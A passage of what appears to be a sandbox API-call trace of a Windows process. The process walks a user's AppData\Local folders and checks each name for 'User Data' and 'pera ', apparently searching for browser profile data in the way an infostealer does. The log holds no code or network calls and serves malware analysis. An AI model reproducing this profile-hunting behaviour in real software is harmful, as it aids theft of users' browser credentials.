nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1 [0264.271] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79a50770, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a50770, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2027392, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0264.271] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79a50770, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a50770, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2216575, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0264.271] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79a50770, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a50770, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeold.xml", cAlternateFileName="")) returned 1 [0264.271] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796be670, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0264.271] lstrcmpW (lpString1="Stationery", lpString2="User Data") returned -1 [0264.271] StrStrW (lpFirst="Stationery", lpSrch="pera ") returned 0x0 [0264.271] lstrlenW (lpString=0x0) returned 0 [0264.271] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows Mail") returned 55 [0264.271] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79a044b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a044b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7d53a7f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1 [0264.271] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79a044b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a044b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2e234eb, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1 [0264.271] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79a044b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a044b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2e234eb, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0 [0264.271] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.272] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1 [0264.272] lstrcmpW (lpString1="Windows Media", lpString2="User Data") returned 1 [0264.272] StrStrW (lpFirst="Windows Media", lpSrch="pera ") returned 0x0 [0264.272] lstrlenW (lpString=0x0) returned 0 [0264.272] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft") returned 42 [0264.272] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows Media\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows media\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.276] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.276] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.276] lstrlenW (lpString=0x0) returned 0 [0264.276] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.277] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.277] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.277] lstrlenW (lpString=0x0) returned 0 [0264.277] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a044b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 1 [0264.277] lstrcmpW (lpString1="12.0", lpString2="User Data") returned -1 [0264.277] StrStrW (lpFirst="12.0", lpSrch="pera ") returned 0x0 [0264.277] lstrlenW (lpString=0x0) returned 0 [0264.277] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows Media") returned 56 [0264.277] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a044b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 0 [0264.277] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.277] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0264.277] lstrcmpW (lpString1="Windows Sidebar", lpString2="User Data") returned 1 [0264.277] StrStrW (lpFirst="Windows Sidebar", lpSrch="pera ") returned 0x0 [0264.277] lstrlenW (lpString=0x0) returned 0 [0264.277] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft") returned 42 [0264.277] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows Sidebar\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows sidebar\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.278] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.278] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.278] lstrlenW (lpString=0x0) returned 0 [0264.278] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.278] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.278] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.278] lstrlenW (lpString=0x0) returned 0 [0264.278] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0264.278] lstrcmpW (lpString1="Gadgets", lpString2="User Data") returned -1 [0264.278] StrStrW (lpFirst="Gadgets", lpSrch="pera ") returned 0x0 [0264.278] lstrlenW (lpString=0x0) returned 0 [0264.278] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows Sidebar") returned 58 [0264.278] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 1 [0264.278] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 0 [0264.278] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.279] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0 [0264.279] FindClose (in: hFindFile=0x6ca440 | out: hFindFile=0x6ca440) returned 1 [0264.279] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe31a0b60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31a0b60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe31a0b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0264.279] lstrcmpW (lpString1="Microsoft Help", lpString2="User Data") returned -1 [0264.279] StrStrW (lpFirst="Microsoft Help", lpSrch="pera ") returned 0x0 [0264.279] lstrlenW (lpString=0x0) returned 0 [0264.279] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 32 [0264.279] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft Help\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft help\\*"), lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe31a0b60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31a0b60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe31a0b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca440 [0264.282] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.282] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.282] lstrlenW (lpString=0x0) returned 0 [0264.282] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe31a0b60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31a0b60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe31a0b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.282] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.282] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.282] lstrlenW (lpString=0x0) returned 0 [0264.282] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe31a0b60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31a0b60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe31a0b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.282] FindClose (in: hFindFile=0x6ca440 | out: hFindFile=0x6ca440) returned 1 [0264.283] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x98b94b80, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x98c2d100, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c2d100, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="Programs", cAlternateFileName="")) returned 1 [0264.283] lstrcmpW (lpString1="Programs", lpString2="User Data") returned -1 [0264.283] StrStrW (lpFirst="Programs", lpSrch="pera ") returned 0x0 [0264.283] lstrlenW (lpString=0x0) returned 0 [0264.283] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 32 [0264.283] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Programs\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\programs\\*"), lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x98b94b80, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x98c2d100, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c2d100, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca440 [0264.283] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.283] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.283] lstrlenW (lpString=0x0) returned 0 [0264.283] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x98b94b80, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x98c2d100, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c2d100, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.283] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.283] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.283] lstrlenW (lpString=0x0) returned 0 [0264.283] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x98c2d100, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x98c2d100, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c2d100, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common", cAlternateFileName="")) returned 1 [0264.283] lstrcmpW (lpString1="Common", lpString2="User Data") returned -1 [0264.283] StrStrW (lpFirst="Common", lpSrch="pera ") returned 0x0 [0264.283] lstrlenW (lpString=0x0) returned 0 [0264.283] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Programs") returned 41 [0264.283] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Programs\\Common\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\programs\\common\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x98c2d100, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x98c2d100, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c2d100, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.284] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.284] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.284] lstrlenW (lpString=0x0) returned 0 [0264.284] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x98c2d100, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x98c2d100, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c2d100, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.284] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.284] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.284] lstrlenW (lpString=0x0) returned 0 [0264.284] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x98c2d100, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x98c2d100, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c2d100, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.284] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.284] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x98c2d100, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x98c2d100, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c2d100, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common", cAlternateFileName="")) returned 0 [0264.284] FindClose (in: hFindFile=0x6ca440 | out: hFindFile=0x6ca440) returned 1 [0264.284] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x98c53260, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c53260, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="Temp", cAlternateFileName="")) returned 1 [0264.284] lstrcmpW (lpString1="Temp", lpString2="User Data") returned -1 [0264.284] StrStrW (lpFirst="Temp", lpSrch="pera ") returned 0x0 [0264.284] lstrlenW (lpString=0x0) returned 0 [0264.284] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 32 [0264.284] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\*"), lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x98c53260, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c53260, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca440 [0264.285] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.285] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.285] lstrlenW (lpString=0x0) returned 0 [0264.285] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x98c53260, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98c53260, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.285] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.285] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.285] lstrlenW (lpString=0x0) returned 0 [0264.285] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x71db5800, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x71db5800, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x918e0760, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x2d7545a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.0-beta2.cps.exe", cAlternateFileName="200-BE~1.EXE")) returned 1 [0264.285] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x75073890, ftCreationTime.dwHighDateTime=0x1d89c94, ftLastAccessTime.dwLowDateTime=0x4233fc70, ftLastAccessTime.dwHighDateTime=0x1d8a403, ftLastWriteTime.dwLowDateTime=0x4233fc70, ftLastWriteTime.dwHighDateTime=0x1d8a403, nFileSizeHigh=0x0, nFileSizeLow=0x6e57, dwReserved0=0x0, dwReserved1=0x0, cFileName="39QWKIn.png", cAlternateFileName="")) returned 1 [0264.285] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x89f2ec40, ftCreationTime.dwHighDateTime=0x1d8a13f, ftLastAccessTime.dwLowDateTime=0xbf4c1410, ftLastAccessTime.dwHighDateTime=0x1d8a6c2, ftLastWriteTime.dwLowDateTime=0xbf4c1410, 